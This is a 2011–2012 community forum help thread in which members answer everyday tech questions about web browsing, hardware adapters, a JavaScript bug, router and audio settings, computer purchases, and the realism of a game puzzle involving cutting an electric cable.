Pretty much anything you see on the web always relies on a remote computer ("web server") sending you something, and your computer displaying or rendering that something. You need to be connected to the internet because the things you want to see are on the web servers, and you need to have a computer (rather than, for example, just a monitor and keyboard connected directly to the modem) to figure out how to display the things you receive.

Now in principle, the web server could just send you "this is what your screen should look like" and an image that you just splatted directly to the monitor (or to be more precise, to the video memory in your graphics card). Essentially a constant video stream sent just to your computer. And in that case you might not even need a computer, or at least not a very advanced one: this is often called a terminal system. That's how VNC works (where you can control a computer remotely from another computer). But it would take a lot of bandwidth, be very inflexible between different screens and computers, and cause a long lag any time you wanted to scroll, or hover over a link, or do anything else that would update the screen. And it would be a ton of extra work for the web servers. So what they do instead is to just send you the data and say "you figure out how to display this", and then your browser interprets it and renders the screen locally. That's why the same web page can look slightly different in different browsers, and also allows you to do things like change the font size without bothering the web server.

Web pages are sent as text files in HTML format, and you can just save them if you want to look at them when you're off-line (though links between different pages may not work because they're pointing to the internet address instead of the local copy, and interactive stuff that involves talking to the server, like the buttons on this page to post the message I'm writing, obviously won't). Images are sent as image files, just like the ones saved on your computer.

With video streaming, they could send each image and the sound constantly, and your computer would just have to put it on the screen and send it to the speakers, but again, that would be very inefficient, and if any of the images or sound bits got lost it would ruin the video. (And messages get lost all the time on the Internet; it's just that the system is smart enough to detect when it happens and send it again until it gets through.) So instead they send little chunks of the video file (in order) and lets your browser figure out how to decode and render it. So you can take the same video and make it full-screen, for example. That's also why sometimes some videos won't play on some systems (like the iPhone had trouble with a lot of videos for a long time), because they don't know how to render it. The server keeps sending you the next chunks of the video as fast as you're playing them (or even faster, and then the browser just keeps them in a buffer until it's time to play them), but if you jump around too much in the video you have to ask it to send you the bits from the part you jumped to.

So the web server sends you text, images and chunks of video, and the browser keeps those things in memory while it needs to display them. Then it either throws them away, or saves them to files on your computer. Anything you see on the Internet has been sent to your computer and can be saved if you want to, but it won't always work by itself. For example, you can save the Google homepage as a file, but it won't let you do Google searches offline because every search involves talking to the Google servers.
Title: Re: Ask something - We can help.
Post by: LRH on Mon 12/09/2011 00:53:37
Wow, fantastic answers. Thank you both Bill and Snarky! I'm happy that I know how it all works now. :)
Title: Re: Ask something - We can help.
Post by: cat on Tue 13/09/2011 18:06:32
The download link to my game was broken because of my stupid host but thanks to Peder I now have a reliable host. Who do I have to contact to remove the "download link broken" message from the gamepage?
Title: Re: Ask something - We can help.
Post by: on Tue 13/09/2011 18:11:03
Quote from: cat on Tue 13/09/2011 18:06:32
The download link to my game was broken because of my stupid host but thanks to Peder I now have a reliable host. Who do I have to contact to remove the "download link broken" message from the gamepage?

Game page >> scroll down. You should find a:

QuoteAre you this game's author? Then you can edit its entry.

Voilà!
Title: Re: Ask something - We can help.
Post by: cat on Tue 13/09/2011 18:15:58
I fixed the link. But it still shows the download is broken.

Nevermind, it's ok now.
Title: Re: Ask something - We can help.
Post by: Stupot on Tue 13/09/2011 20:44:22
Quote from: Mods on Mon 05/09/2011 14:13:37
Just need some general advice, using Hotmail with Firefox. It seems to come and go in waves, but right now I'm experiencing a problem whereby clicking any link in Hotmail, ie, inbox, delete or the messages does nothing. And this isn't the first time, in fact, it's probably beyond the 50th time since I started using Firefox years ago. Some times it does this, then in a few weeks time, I'll probably be able to click all those links with no problems.

Any ideas, would it be Java related? Just updated Firefox, it hasn't helped this situation. And the previous version was doing it. But BEFORE I went to Mittens it was working fine, so I just don't get it, can't figure out where the problem is originating from. Any other experiences of such or ideas for a fix appreciated :)

I used to find Firefox would get buggy with certain websites once in a while and clearing my cache generally solved it in the short term, but looking back, it did happen fairly frequently.  Be like me and switch to Chrome :-)
Title: Re: Ask something - We can help.
Post by: Buckethead on Sun 18/09/2011 17:19:42
while taking some screens from a game i accidently remapped my keyboard. many letters now appear as numbers. does anyone know  sulution? i've already tried changing language presets. thanks in advance!
Title: Re: Ask something - We can help.
Post by: selmiak on Sun 18/09/2011 17:57:17
are you on a laptop without a numpad? Then you might have turned on the numpad, search for some FN combos to turn it off again.
Title: Re: Ask something - We can help.
Post by: Buckethead on Sun 18/09/2011 18:45:02
Oh how silly, it was indeed just numlock haha. Thanks for the help!  :)
Title: Re: Ask something - We can help.
Post by: selmiak on Sun 18/09/2011 18:51:49
:D
Title: Re: Ask something - We can help.
Post by: WHAM on Tue 27/09/2011 08:47:00
EDIT: I've just been informed that most of these comics were never released in english. What the FUCK is up with that!?
I feel sad for you people!

------------------

I have been bitten by the comic-book-nostalgia-bug. I've read some of these comics in the library as a kid and now I want to BUY them. Sad thing is, I've yet to find them on sale on any website as full collections, only some used copies, mostly in french, whereas I need either English of Finnish versions.

Please somebody help me, I am going mad and the librarian tells me some of their copies are either lost or on loan!

http://en.wikipedia.org/wiki/Le_Petit_Spirou

http://en.wikipedia.org/wiki/Spirou_et_Fantasio

http://en.wikipedia.org/wiki/Gaston_(comics)
Title: Re: Ask something - We can help.
Post by: on Tue 27/09/2011 22:00:44
Glad this thread exists, if only for my q's about destroying PC equipment...

I had a HD failure earlier, then the power pack went whilst re-installing XP, and then I did something stupid and the power pack exploded. That's not the issue though. I can replace that - for about $100, but in the short term I'm worried about getting my AGS games transferred from a sata HD.

The issue is this: I've hooked up my years old computer which uses older HD's which are connected with the 4 pin Molex cable. The PC that died has SATA HD's. My AGS games are safe on one of my SATA hard drives, but I don't know how to get that HD to work in or just briefly for some transfer to another HD which is using molex.

How do I connect a HD using SATA to a computer using molex 4 pin connectors?

Is it as simple as getting a SATA > Molex adapter, like this:
http://www.scan.co.uk/products/20cm-scan-sata-power-converter-rb-414-4pin-molex-to-15pin-sata-%28normal-psu-to-sata-sataii%29

or am I going to need more than that? Any help is appreciated. Not had to do this before so I don't know if I'm asking the right questions!! Thanks :)
Title: Re: Ask something - We can help.
Post by: Khris on Tue 27/09/2011 22:17:52
That's not enough, the 4pin cable is just for power. Notice the wide, flat cable next to it? That's where the data goes through. :=
I'm not sure if getting another cable is enough here, my guess is you'd have to buy a SATA controller card (because your main board doesn't have one).
Connecting IDE HDs to a SATA port on the other hand would just require an adapter.

Since you're looking for a short term solution though, buy that one:
http://www.amazon.co.uk/USB-SATA-IDE-CABLE-ADAPTER/dp/B003Q97FIW/ref=sr_1_5?ie=UTF8&qid=1317157734&sr=8-5

With that you can connect any HD to a USB port, perfect if you just want to get data off a HD.

Edit: I've just noticed that the power supply seems to be really poor; this one might be better:
http://www.amazon.co.uk/Dynamode-USB-SI-C-controller-SATA-300-Hi-Speed/dp/B000LQ4WMU/ref=sr_1_11?ie=UTF8&qid=1317157734&sr=8-11
Title: Re: Ask something - We can help.
Post by: on Tue 27/09/2011 23:02:24
Thanks LeKhris, that's a great solution - woop! So that will definitely power the SATA HD when it's just sat on the floor, right? :) Thanks again though - the kits you've mentioned very much answer the short term problem!

QuoteOtherwise it worked a treat and allows the user to access data
from old surplus drives removed from a PC.

Oh answered...I see the reviews (and the power pack issues) - thanks for the heads up! :)
Title: Re: Ask something - We can help.
Post by: Eggie on Thu 29/09/2011 16:56:02
Why isn't this javascript working?


<body color="white" font="Arial" bgcolor="black">

<SCRIPT TYPE="text/javascript" LANGUAGE="JavaScript" >
function PrintLink(var name,var address,var description){
    document.write(' <li class="link"><h1><a target="_parent" href="' + address + '">' + name + '</a></h1><p>' + description + '</p>');
}


PrintLink("A Link","http://crazypotatojacobshouseofchips.net","My favourite chippy");
PrintLink("Wheeee","http://slidesaretotallysnide","Imitation playground vendor");
PrintLink("Link3","http://platesplatesandmoreplates.com","etc etc etc");
</SCRIPT>


</body>


The page is just blank. It's not li.link because that shows up fine when it's being written without being called from the function :/
Title: Re: Ask something - We can help.
Post by: TomatoesInTheHead on Thu 29/09/2011 17:37:31
replace

function PrintLink(var name, var address, var description){

with

function PrintLink(name, address, description){

and it should work :)
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Fri 30/09/2011 09:30:17
Quote from: WHAM on Tue 27/09/2011 08:47:00
http://en.wikipedia.org/wiki/Le_Petit_Spirou
http://en.wikipedia.org/wiki/Spirou_et_Fantasio
http://en.wikipedia.org/wiki/Gaston_(comics)

NOW you're talking. Gaston Lagaffe BEST. COMICS. EVER. ( http://en.wikipedia.org/wiki/Gaston_Lagaffe )

(http://www.wpartage.com/site_media/photos/Gaston_Lagaffe_02_Le_Bureau_des_Gaffes_en_Gros.jpg)

I wouldn't know how to find them in English, though. I've found them in German in the past. Belgian/French comics have a strong penetration in Continental Europe, but the English-speaking world is totally oblivious to them (except for blockbusters like Tintin, Asterix and the smurfs -- mainly because of the animated series for the latter). the wikipedia article says it was printed in Finnish.


Title: Re: Ask something - We can help.
Post by: WHAM on Fri 30/09/2011 09:54:22
@ Ouxx
Yeah, I edited my post later on. It seems most of these comics were never translated to english and it also seems the finnish translations are mostly out of print and sold out. I've found some used copies and am scouring webstores for more copies. It is not going well, though... :(
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Fri 30/09/2011 09:56:09
Here is my request for help: I'm looking for the title of a movie:
- It's less than 10 or 15 years old.
- It takes place in 19th-century Great Britain
- The whole story takes place in a countryside mansion
- It's during Christmas Eve, or maybe new-year's eve
- The master is away
- He left his intendant in charge while he's away
- The intendant is a clever but very ambitious man, with something dark about him.
- The master's daughter is in love with him, but she's a tad mad and hysterical
- The whole movie is a long conversation between the two of them -- a mix of seduction and arguments and violence.
- In the end he rapes her (I believe? I'm not sure?) and then she kills herself.

Please please please please please please please

==============

EDIT: I got it, it's Miss Julie : http://www.youtube.com/watch?v=sxyIdl0IEWo

Title: Re: Ask something - We can help.
Post by: Gilbert on Fri 30/09/2011 10:17:25
Heh This looks like a post in the "Guess a movie" thread but without pictures, but anyway, no, I don't know about this movie.
Title: Re: Ask something - We can help.
Post by: Snarky on Fri 30/09/2011 11:54:20
Quote from: Monsieur OUXX on Fri 30/09/2011 09:30:17
NOW you're talking. Gaston Lagaffe BEST. COMICS. EVER. ( http://en.wikipedia.org/wiki/Gaston_Lagaffe )

(http://www.wpartage.com/site_media/photos/Gaston_Lagaffe_02_Le_Bureau_des_Gaffes_en_Gros.jpg)

I wouldn't know how to find them in English, though. I've found them in German in the past. Belgian/French comics have a strong penetration in Continental Europe, but the English-speaking world is totally oblivious to them (except for blockbusters like Tintin, Asterix and the smurfs -- mainly because of the animated series for the latter). the wikipedia article says it was printed in Finnish.

Cinebook (http://www.cinebook.co.uk/index.php?cPath=182) is (slowly) publishing some of the Spirou albums from the Tome & Janry era in English. Adventure Down Under and Spirou in New York are available now, and they just announced Running Scared (La frousse aux trousses) to be released next spring. Also, Kim Thompson from Fantagraphics is an avowed Franquin fan, and has said he wants to give Spirou another try some time (probably in the same format that Fantagraphics just released Gil Jourdan in: two albums collected in one hardcover book).

Other than that, there are a few fan translations (of variable quality) available, including quite a lot of Gaston gags, Spirou: Machine qui rêve and Petit Spirou: Dis bonjour à la dame. Some more stuff here: http://scans-daily.dreamwidth.org/tag/char:+spirou
Title: Re: Ask something - We can help.
Post by: WHAM on Fri 30/09/2011 11:57:03
Thanks Snarky!  ;D This pleases me, I just hope Cinebook will get more ASAP!
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Fri 30/09/2011 14:49:58
That's cool. I'm a bit annoyed that Tome&Janry always seem to be the most attractive just because they have a "cool" graphic style... even though Franquin is clearly the genius here! But, eh, what can I do.
Title: Re: Ask something - We can help.
Post by: Tuomas on Sat 01/10/2011 17:25:05
A question about proxy, might sound dumb, but anyway. I kind of have the idea, that certain websites are only available in certain countries. I also have the idea, that the site will notice where you are because of you IP. Then if I use a proxy, is this not for changing you IP to seem the way you wanted it to?

Like, the national tv of Finland shows the Moomin series on the internet service, but I'm in Berlin, so I can't watch them. Isn't the proxy settings of firefox the way to goof around with it? You know, to seem Finnish again. And the last question: how does this work?
Title: Re: Ask something - We can help.
Post by: Tabata on Sat 01/10/2011 17:44:09
How about hiding your ass* (or equivalent) for example?  ;)

                    (http://smilies-smilies.de/smilies/computer_smilies/linkhier.gif) (http://hidemyass.com/)

* (not my own choice of words, but it will be clear, if you use the link)  ;D
Title: Re: Ask something - We can help.
Post by: Tuomas on Sun 02/10/2011 23:15:05
Not really no. I tried opening this http://areena.yle.fi/video/1316936722189 through the site you linked to but it didn't load.

I also tried a vpn connection through my university in Helsinki and should have been this 128.214.5.157, but it again complained that I have to be in Finland to watch it. Is there no solution?
Title: Re: Ask something - We can help.
Post by: Tabata on Sun 02/10/2011 23:40:38
Now I am confused ::), because the site you linked opens for my (without hiding!) and I am from Germany  ???

I don't know anything about such things in special, but this is strange for me now, too (http://www.adventure-treff.de/forum/images/smilies/eusa_think.gif)

Edit:
Aaah, stop - not the video, sorry (it was only the first pic, but didn't start) - so you're right (http://www.mini-power-forum.ch/images/smilies/icon_redface.gif)

It seems to me, that you can't use the free version, if you want to choose an IP from a specific country. There might be some other sites which allow it for free, but I don't use it often, so we need help from the others about this.

So is there someone who already knows such a site?
Title: Re: Ask something - We can help.
Post by: Tuomas on Fri 07/10/2011 15:27:43
Man, there's Finland playing against Sweden, and they're showing it for free, but I still haven't found a way in there, tried some Finnish proxy-lists, but na.

EDIT: apparently using my university VPN works on Mac, but not on my Vista PC. No idea why, anyone?
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Fri 14/10/2011 12:10:34
It's a question about video editing.

I'm looking for the official name of a specific post-processing effect.

It's a bit like Chroma-Key (where the background is all green so it's easier to isolate the backrgound from the foreground), but in this effect, you feed the software with a still picture of the background (if you're lucky enough to have one) and then the software computes it out of each frame where the character appears and moves around. In the end, thanks to to this still frame, you've managed to isolate the foreground from the background.

the reason why I want to know the official name is to find tutorials about it. Hard ot use Google when you don't know the name of something.

Title: Re: Ask something - We can help.
Post by: Ali on Fri 14/10/2011 12:21:26
You could try "Difference Key" but I'm not sure.
Title: Re: Ask something - We can help.
Post by: TomatoesInTheHead on Fri 14/10/2011 12:28:13
"background subtraction" is a name for this at least in the scientific community, don't know about video editing though.
Title: Re: Ask something - We can help.
Post by: Chicky on Fri 14/10/2011 12:58:31
Here's a basic tutorial, it's a hard effect to get right. You're better off using it to add things behind the talent, rather than replacing the background completely. Have your actor wear something bright that will stand out against the background.
Title: Re: Ask something - We can help.
Post by: Wonkyth on Fri 14/10/2011 13:00:11
After a little Googling, I think the term you're looking for is difference matte key.
Hope that helps.  :)

EDIT: Ninja'd by Chicky, dammit!  :P
Although, Chicky, did you mean to have a link in there somewhere?
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Fri 14/10/2011 13:34:20
Thanks guys!
I'll try with the terms you suggested :


- "difference key"
- "difference matte"
- "background subtraction"

Also yes, chcicky, didn't you forget the link or something?


EDIT: So far I've found tutorials on that only for expensive products such as Aftereffects and Premiere. the good new is it also seems like Blender does the job (I didn't even know it was doing video)
Nothing in Wax or VirtualDub apparently.
- Blender: http://www.youtube.com/watch?v=MeGxm4QYfLI
- Aftereffects: http://forums.creativecow.net/thread/2/923637
- Premiere

I've also found new names to call this:

- "fixed plate" / "clean plate"
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Fri 14/10/2011 15:46:08
It actually seems to be an advanced thing. Outside of big expensive applications I can't find anythng (except, then again, in Blender).
Title: Re: Ask something - We can help.
Post by: Ali on Fri 14/10/2011 16:22:04
Yay for blender!

I've never used this effect, I've always been worried that there'd be too much chance of the actor sharing colours/tones in common with the background. Let me know if it works out!

Title: Re: Ask something - We can help.
Post by: InCreator on Fri 14/10/2011 16:41:26
Does anyone know a good free collaborative tool?
Browser based, something like google docs, but so you can quickly drop files there or sketch or make flowcharts and share with project members?
Title: Re: Ask something - We can help.
Post by: Wonkyth on Sat 15/10/2011 02:36:29
Well, I'd say Wave, but that up and died. :(
Title: Re: Ask something - We can help.
Post by: Chicky on Sat 15/10/2011 03:21:55
Haha Chicky forgot the link!  :D
Title: Re: Ask something - We can help.
Post by: Nikolas on Sun 16/10/2011 06:39:39
So...

I'm looking to make a website for my wife (an architect). Nothing too fancy in terms of what needs to work and how it needs to work. It's just a few pages about her, the services, contact info, etc...

I do NOT want to pay anyone to do it. She's got a great graphics head (being an architect) and I know how a website should be/look/feel (and prolly get some feedback from here).

What I do not know is HOW to do it. I will not programm html5 or other... no way. I know that some people base their websites into blog creating systems, but can this really work? Can someone link me to some free website creation software? (I have plenty of hosting to go around so I would only need to register the domain name)...

Thank you!
Title: Re: Ask something - We can help.
Post by: Oliwerko on Sun 16/10/2011 09:13:14
I've seen some websites done on http://www.webnode.com. It's possible to use the system on your own domain too. I don't really have any experience with it, I've just seen that it's kind of drag-and-drop thing. I think it's worth trying out.
Title: Re: Ask something - We can help.
Post by: nihilyst on Tue 18/10/2011 13:36:26
I'm looking for a movie, but I just can't find it.
Its plot involves some kind of nanobots (or just little robots) eating metal. They somehow destroy all the computers, and at the end, traffic lights go wild. In order to stop them, the protagonist uses the gameboy of his son, which is the last computer on earth or something, to hack into the nanobots' main system and stop them.
I'm afraid that's all I can remember. I've seen it here in Germany on TV a couple of years ago. Don't know if it's a production for television or for the movies.
I'd say it's a 90s film, maybe 1990 to 2001.

Anyone know that?
Title: Re: Ask something - We can help.
Post by: selmiak on Wed 19/10/2011 21:36:03
is it possible to record the audio output of my speakers with audacity? I only found tutorials that need another cable that connect the audio out with the mic in. And putting the mic next to the speakers is not preferred and truely my last choice. Any good free streamrecorders out there? But having it straight in audacity would be best ;)
Title: Re: Ask something - We can help.
Post by: Bror_Jon on Wed 19/10/2011 22:08:59
@selmiak

Yes.

Go to edit>preferences>soundin/out and change recording to your sound card.

Edit: If you can't find your sound card in the drop down menu (and you have windows vista or 7), do this:

Go to control panel>sound>recording and right click the area with the devises and set it to "Show disabled devices".
Then your sound card should be visible as "stereo mix". Enable it!
After that audacity ought to be able to find it.

Edit edit: Also, if you want to record stereo sound, you need to change this in Audacity. You do this at the same place as where you select recording source.
Title: Re: Ask something - We can help.
Post by: selmiak on Wed 19/10/2011 23:57:07
doesn't work.
I don't have to go to preferences and stuff, as you can select the input directly from a dropdownmenu in the main window in audacity 1.3.12beta.
I already tried everything there, didn't work. So I went to win7>settings> sound>recording and tried either auxiliary (with the soundcard image next to it) and  S/PDIF (with the car audio image (?) next to it) and tried all inputs in audacity. Some inputdevice settings made audacity tell me to check the sample settings of the project so I set everything in the audacity settings in preferences>quality to 16bit 41,1kHz (resp. 48kHz) and tried all input devices. Nada. Some told me to check the sample frequency again though. :(
While in the preferences of the sounddevice in the win settings you can check a 'listen in'. I checked that and mapped the sound to various devices, and nothing was recorded in audacity...
Title: Re: Ask something - We can help.
Post by: on Thu 20/10/2011 01:24:20
I'm trying to remember a puzzle game from the late 90's. I think you played as little blob things, flipping over tiles or something. All I remember is one of the backdrops being Mount Rushmore, or a variation of Mt. Rushmore. Can't for the life of me remember what it's called, so if anyone has a brainwave, please let me know!  :=
Title: Re: Ask something - We can help.
Post by: on Tue 25/10/2011 16:32:04
Back in the day I saw this peculiar watch, which used binary notation to display time.

(http://img835.imageshack.us/img835/2328/immaginesto.png)

I hope this crude mspaint will help me explain.

It was brasslike, with eight dots (divided in two halves). Each "dot" was nothing more than a thinnish cylinder, which could be "up" (i.e. in relief) or down.

Do you know if it is still in production or where I can find it? Or anything similar?
Title: Re: Ask something - We can help.
Post by: on Tue 25/10/2011 17:05:15
They are. rathergeeky.com still sells them as alarm clocks.

http://www.rathergeeky.com/ (http://www.rathergeeky.com/)

edit:
They look terribly complicated- what do you do when someone asks you the time? What do you acually SAY???
Title: Re: Ask something - We can help.
Post by: on Tue 25/10/2011 17:15:11
Quote from: Ghost on Tue 25/10/2011 17:05:15
They are. rathergeek.com still sells them as alarm clocks.

Quote from: Ghost on Tue 25/10/2011 17:05:15
They are. rathergeek.com still sells them as alarm clocks.

Found the original too!

http://watchlords.forumotion.net/t12548-vintage-see-touch-watch

It seems it is not produced anymore. :( Help me find someone who is selling it!
Title: Re: Ask something - We can help.
Post by: HandsFree on Fri 11/11/2011 15:25:22
I like to update my gip thread with a music sample.
How do I make a link so the music plays when you click on it (instead of only giving the option to download it)?
Does it need a specific file host, or a special command?
Title: Re: Ask something - We can help.
Post by: Grim on Wed 07/12/2011 23:31:33
My laptop doesn't detect my wireless network all of a sudden... It detects loads of other nearby networks but mine isn't even on the list anymore. Same with my PS3- can't connect wirelessly with that either. The PC is fine, it's connected with a cable. Also, the WLAN light on the router doesn't light up anymore, so I'm guessing it's problem is with the router. It worked fine for a couple of years... but do you think it could've broken suddenly? My son keeps playing with it sometimes ( driving me nuts!) so maybe he did it, little bugger, like licked it or bit it or something... ;(

Should I assume that wireless capability of the router is gone forever and call the service provider's helpline (and ask them to send a new one) or is there some way I can fix it? Any ideas, folks? Maybe someone had a similar experience? I'd appreciate some advice, as I'm really lost here...
Title: Re: Ask something - We can help.
Post by: LUniqueDan on Thu 08/12/2011 17:04:27
When it happens I check 4 things in order :

1) Was there any electricity shortage or electric storm ?  If yes, your router may had reseted itself ? (It happens)

2) Was the router unplugued secretly for days by mistake (Vacuum-Cleaner Manic Girlfriends, kids playing with toy cars  to be suspected) ?

3) Was the "Broadcast SSID" function still checked (or was the "don't broaccast  SSID") became checked ? The same for the "enable wireless" if such existed.

4) Was the connection secured and did a neigbors change the setting trying to open the port for their own torrent (It happens too)?

Otherwise, change the router. Couple of years is relatively long for such devices.
Title: Re: Ask something - We can help.
Post by: Grim on Thu 08/12/2011 20:22:18
Thanks LUniqueDan, but I've managed to sort it out by talking to AOL helpline guy and following a very long set of instructions- I had to create new passwords and networks but it worked! I was so happy I took my time and did the survey afterwards grading that guy 'excellent' for everything, despite his strong indian accent which at times I found difficult to understand. I don't understand what we did, but I'm just really glad it's fixed:)
Title: Re: Ask something - We can help.
Post by: Khris on Thu 08/12/2011 20:39:50
In case this happens again:

The WLAN light didn't light up as in the WLAN was turned off. If the LAN connection is up and running though you can pretty much rule out a power issue of any kind.
Some routers have a small switch near the jacks to quickly turn the WLAN on and off.
If there's no switch or it isn't turned off, a power cycle might fix it.
If the WLAN has got turned off for good, all you have to do is navigate to the router's menu and turn it back on. There's absolutely no need to change the network ID or password or setup new networks.

To get to the router menu: Start -> Run, type "cmd", enter, in the black window (command prompt) type "ipconfig", enter.
Your PC's LAN connection details will appear, among them the gateway address, something like 192.168.1.1. Just type that in the browser's address bar and you're in the router's menu (you might have to login first).
In there, find the Wireless settings and turn WLAN back on.

The AOL guy was working off a script and my guess is that 90% of that call was a complete waste of time.
Title: Re: Ask something - We can help.
Post by: Grim on Thu 08/12/2011 22:49:49
You're probably right Chris, but it felt strangely reassuring to have someone tell you step by step what to do, even if we were taking a longer road to get there;) Personally, I know nothing about these things and all attempts to google some solution up just left me more confused. In the end of the day, I'm happy, my girlfriend can go on facebook again and the AOL guy must be feeling pretty good about himself, too. Maybe he'll even get a pat on the shoulder from his boss for receiving such a positive feedback;) 


I just hope they didn't charge me too much for that 25 minute call..... ;)
Title: Re: Ask something - We can help.
Post by: Bulbapuck on Mon 12/12/2011 15:53:19
I'm gonna buy a new computer after christmas, and I've started to look around. The thing is, I know very little about computers, but the little I do know tells me that this is probably a good choice:

http://www.amazon.co.uk/Packard-Bell-iXtreme-Processor-Graphics/dp/B005VOTPXI/ref=sr_1_6?s=computers&ie=UTF8&qid=1323703420&sr=1-6

I know that some of you guys are good at this kind of thing, so I decided to get your opinion.

What I'm looking for is something cheap that I can use for playing games and doing schoolwork.
I suppose the only tricky part is the gaming aspect, but I don't need an awesome gaming computer. I just need it to be able to run games like Portal 2 and Borderlands. My current computer refuses to run about 60% of the games I own :P
Title: Re: Ask something - We can help.
Post by: Khris on Mon 12/12/2011 16:22:42
I guess it's ok, you might want get a graphics card with a bit more horse power though. The one in there should be fine to player Portal 2 and Borderlands, but anything a bit more recent might look a lot better with a 520 or 560.
Title: Re: Ask something - We can help.
Post by: Bulbapuck on Mon 12/12/2011 16:48:28
Great, I'll look into that. Thank you :)
Title: Re: Ask something - We can help.
Post by: Anian on Mon 12/12/2011 16:54:06
Quote from: Khris on Mon 12/12/2011 16:22:42
I guess it's ok, you might want get a graphics card with a bit more horse power though. The one in there should be fine to player Portal 2 and Borderlands, but anything a bit more recent might look a lot better with a 520 or 560.
Indeed.
It seems to have plenty of RAM for Adobe stuff. It's says Win7, but then it says it comes with Server 2003...so check that before you get it. Also if you plan to get more hdd and a stronger graphics card (which I suggest you basically buy looking at the money you can spend, the higher the number the better and they have their own memory as well so make sure to check that as well) check if the power supply will offer enough juice for all the components (you basically see what each component spends and add the numbers then see if the power supply offers as much).

But yeah, I buy a pc like every 3-4 years and by then stuff like processors completly change, I bought a pentium duo core 2x3.2 and now there's a completly different gradation like i3, i5, i7 and really even intel's web pages offere very little info for someone that's not a techwiz, except that "the more money you put in the better", which is a stupid rule.
Title: Re: Ask something - We can help.
Post by: Nikolas on Tue 20/12/2011 20:08:18
I'm wondering if any of you know about this...

About 20 (25?) years ago there was a company, which produced AMAZING 'lego-like' games but with robots and stuff... With moving parts, etc. And these robots would transform into something else (a spacecraft, or a car, etc...) But based on the same principal of lego (the brick game)... I think the name was something like 'tedex' or 'tendex' or something like that... Any ideas what it was?
Title: Re: Ask something - We can help.
Post by: Stupot on Tue 20/12/2011 20:59:01
Lego Technic?
That was basically Lego, but with rods, motors, belts etc.  I'm sure it's still going.
Title: Re: Ask something - We can help.
Post by: Nikolas on Wed 21/12/2011 11:28:21
Nope... It was another company... :-/
Title: Re: Ask something - We can help.
Post by: Anian on Wed 21/12/2011 12:54:38
There was (or is) K'nex, but it's not so much like Lego, but collection of gears and sticks.

But Lego Technic wins in my book, sturdy and fun...now I play with 3ds max, but a suitcase (that's right I have a Technic suitcase) is still beneath the bed.  ;D
Title: Re: Ask something - We can help.
Post by: on Wed 21/12/2011 16:47:35
I am searching for a laptop:

- 12" or smaller screen
- 3g
- SSD
- Linux friendly

I thought there would have been a site where you could select/enter those specs and get a list back, but alas there is not. Help?
Title: Re: Ask something - We can help.
Post by: WHAM on Thu 29/12/2011 14:54:05
Can you help me pick a good webcam for small video projects? I'm looking for one that can do at least 720p at 30 frames per second and most importantly has a good quality microphone that can pick up voice at over 2 meters. That is, one with a microphone that doesn't require me to lean into it all the time...


Hmmm... I keep asking but haven't really helped anyone. Let's try at least...


@Bici: I fear laptops meeting those requirements came and went. The Asus eeePc series had some fairly cheap ones that met your requirements, but the ones that came with Linux preinstalled (and would thus count as "linux friendly") went out of production about a year ago as far as I know. The biggest issues and uncertainty is whether or not you will find one that has a working 3G card that has proper support for linux drivers.

All I can suggest is you find laptops that meet your requirements and then dig around to see if you can find out what 3G card / chip they use (manufacturer website often has this info stashed away somewhere) and then try to find out how well it supports Linux drivers. If support exists, you're pretty much in the clear.

All in all, I can only recommend working with Windows OS when it comes to laptops, due to the wide ranging driver issues revolving around laptop hardware.
Title: Re: Ask something - We can help.
Post by: on Thu 29/12/2011 15:44:45
Quote from: WHAM on Thu 29/12/2011 14:54:05
@Bici: I fear laptops meeting those requirements came and went. The Asus eeePc series had some fairly cheap ones that met your requirements, but the ones that came with Linux preinstalled (and would thus count as "linux friendly") went out of production about a year ago as far as I know. The biggest issues and uncertainty is whether or not you will find one that has a working 3G card that has proper support for linux drivers.

Thanks WHAM, I appreciate. I was almost buying a samsung Chromebook, when I discovered that you cannot natively run Debian (or anything else than ChromeOS). You're right, there is not a lot out there, so I will probably pick my machine outside the x86 pack (i.e. Efika smartbook (http://www.genesi-europe.com/store/eu/)).

Good luck with your webcam hunt, I'm so retro I use an old camera with film to take pictures.
Title: Re: Ask something - We can help.
Post by: Grim on Sat 14/01/2012 05:24:50
I have a question related to one of the puzzles in my game. The main character at some point has to cut through the electric cable ( coming out of electric meter that provides electricity for the apartement). As it fits with the storyline ( and all animations and interactions already made) she does that with a pair of scissors. I figured that since scissors have a plastic handle she wouldn't get an electric shock... 

Then a friend of mine comes over for a coffee ( in real life,  not in game ;)) and as I remembered he trained as an electrician few years back, though never worked in that profession, I ask him what would happen if you did that. He says, -of course-, an electric shock and a big flash of light.... I'm thinking: shit. Gonna have to make some changes... But is he REALLY right about this? Anyone knows? ( I'd appreciate if you think he's wrong, so I don't have to change anything, but I will also listen to the truth... ;))
Title: Re: Ask something - We can help.
Post by: ThreeOhFour on Sat 14/01/2012 07:02:21
To my knowledge, if the circuit was RCD protected it'd just trip the RCD out, meaning all the devices on that circuit would stop getting power. Perhaps just use that as an easy excuse? (unless it's quite an old building, in which case it is unlikely to be RCD protected)

Just for reference, I am not an electrician, but one of the members in my band is and has discussed RCDs with me in the past.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Sat 14/01/2012 07:36:02
Quote from: ThreeOhFour on Sat 14/01/2012 07:02:21
I am not an electrician, but one of the members in my band is and has discussed RCDs with me in the past.

Woohoo, party time.
Title: Re: Ask something - We can help.
Post by: Grim on Sat 14/01/2012 07:43:49
Thanks Ben;) Reading up about RCBs now.... ;)

Another thing- would scissors actually be strong enough to cut through electric cable? We're talking decent sized scissors and a cable that's about... the thickness of... a guitar cable? :-\
Title: Re: Ask something - We can help.
Post by: Chrille on Sat 14/01/2012 13:54:09
If it's a big pair of scissors you might be able to cut the cable, but it's more likely you'd ruin them unless you cut it bit by bit. Wire cutters is the way to go. And your friend is right about the light blast, even if you the plastic kept you from getting electrocuted a big light explosion would be the danger.

But it's not like people are going to be in an uproar if the puzzle isn't entirely realistic.
Title: Re: Ask something - We can help.
Post by: Dualnames on Sat 14/01/2012 17:44:53
See usually all the wire cutters have a resistance along. At work we used a certain brand that had resistance for 1000V. Cutting the cable that goes to the electric meter, would require a bit of strength there, or very VERY VERY ULTRA MAX SHARP scissors. Unless they are gardening ones. The thing is that the scissors can't stand such amperage, most likely electrocution is there, and if we take a moment and pretend the cut will be instant-like, there will be a flash and for a short period of time the scissors will have to work as part of the cable. That means the plastic may or may not stand the heat.

